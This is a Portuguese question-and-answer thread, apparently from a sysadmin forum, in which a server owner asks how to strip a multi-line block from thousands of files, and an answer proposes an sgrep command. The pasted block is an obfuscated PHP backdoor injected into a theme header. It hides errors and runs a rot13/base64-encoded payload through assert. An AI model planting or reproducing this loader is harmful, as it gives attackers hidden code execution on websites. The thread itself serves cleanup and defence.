Pesquisa e substituição de múltiplas linhas globais

0

Eu tenho um servidor com milhares de arquivos contendo um padrão de várias linhas que eu quero encontrar globalmente & substituir.

Aqui está uma amostra do padrão:

<div class="fusion-header-sticky-height"></div>
<div class="fusion-header">
        <div class="fusion-row">
                <?php avada_logo(); ?>
                <?php avada_main_menu(); ?>
        </div>
</div>


<?php
//###=CACHE START=###
@error_reporting(E_ALL);
@ini_set("error_log",NULL);
@ini_set("log_errors",0);
@ini_set("display_errors", 0);
@error_reporting(0);
$wa = ASSERT_WARNING;
@assert_options(ASSERT_ACTIVE, 1);
@assert_options($wa, 0);
@assert_options(ASSERT_QUIET_EVAL, 1);

$strings = "as"; $strings .= "se";  $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r";  $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode");
$light =  $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtMKWlo3WspzIjo3W0nJ5aXQNcBjccMvtuMJ1jqUxbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXFxtrlOyL2uiVPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftsFOyoUAyVUfXWUIloPN9VPWbqUEjBv8ioT9uMUIjMTS0MKZhL29gY2qyqP5jnUN/nKN9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0cYvVzMQ0vYaIloTIhL29xMFtxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhqKWfMJ5wo2EyXPEsH0IFIxIFJlWVISEDK1IGEIWsDHqSGyDvKFxhVvMcCGRznQ0vYz1xAFtvZwSxLGVkAwqzBJEvBTSwAwV4ZwLkMGp3AQyvLJH1ZwDkZFVcBjccMvuzqJ5wqTyioy9yrTymqUZbVzA1pzksnJ5cqPVcXFO7PvEwnPN9VTA1pzksnJ5cqPtxqKWfXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK0uSDHESHvjtExSZH0HcB2A1pzksp2I0o3O0XPEwqKWfYPOQIIWZG1OHK0ACGx5SD1EHFH1SG1IHYPN1XGftL3IloS9mMKEipUDbWTA1pzjfVRAIHxkCHSEsIRyAEH9IIPjtAFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvEcLaLtCFOwqKWfK2I4MJZbWTAbXGfXL3IloS9woT9mMFtxL2tcBjc9VTIfp2IcMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsDccMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtoJD1XT1xAFtxK1WSHIISH1EoVaNvKFxcVQ09VPVkAwN0MwH5ZmxjZwp3ZGVlBGp1BJDjMQHkAGyzA2HkLvVcVUftMKMuoPumqUWcpUAfLKAbMKZbWS9FEISIEIAHJlWwVy0cXGftsDcyL2uiVPEcLaL7PtxWPK0tsD=="));'); $strings($light);
//###=CACHE END=###
?>

Eu tentei vários métodos para encontrar e substituir essa string, mas sua natureza multilinha me deixou perplexo. Eu olhei em volta extensivamente (mais de um dia de pesquisa) e as soluções que encontrei não conseguem lidar com a natureza multi-linha disso.

Qualquer assistência seria muito bem-vinda.

UPDATE

Eu tenho uma solução agora, em grande parte graças à resposta aceita.

Outros que enfrentam algo semelhante devem ver meu projeto do github para isso .

    
por James T Snell 13.11.2016 / 05:41

1 resposta

3

Se você quiser editar o texto definido por um idioma livre de contexto (tags de início e de finalização correspondentes aninhadas, Por exemplo, HTML ou XML), você deve usar uma ferramenta criada para isso em vez de uma ferramenta para expressões regulares .

Tal ferramenta é, por exemplo, sgrep (disponível como um pacote para muitas distribuições linux) : Você pode combinar regiões (aninhadas) definidas por tags iniciais e finais e manipulá-las. Então, por exemplo

sgrep -o '%r\n' '(start .. end) extracting ("<?php".."?>" containing "###=CACHE START=###")'

removerá qualquer região que comece com <?php e termine com ?> que contenha ###=CACHE START=### do seu arquivo, imprimindo todas as outras regiões separadas por uma nova linha. As novas linhas e o espaço em branco não são considerados relevantes para correspondência, portanto, as correspondências multilinhas são gratuitas.

    
por 13.11.2016 / 08:25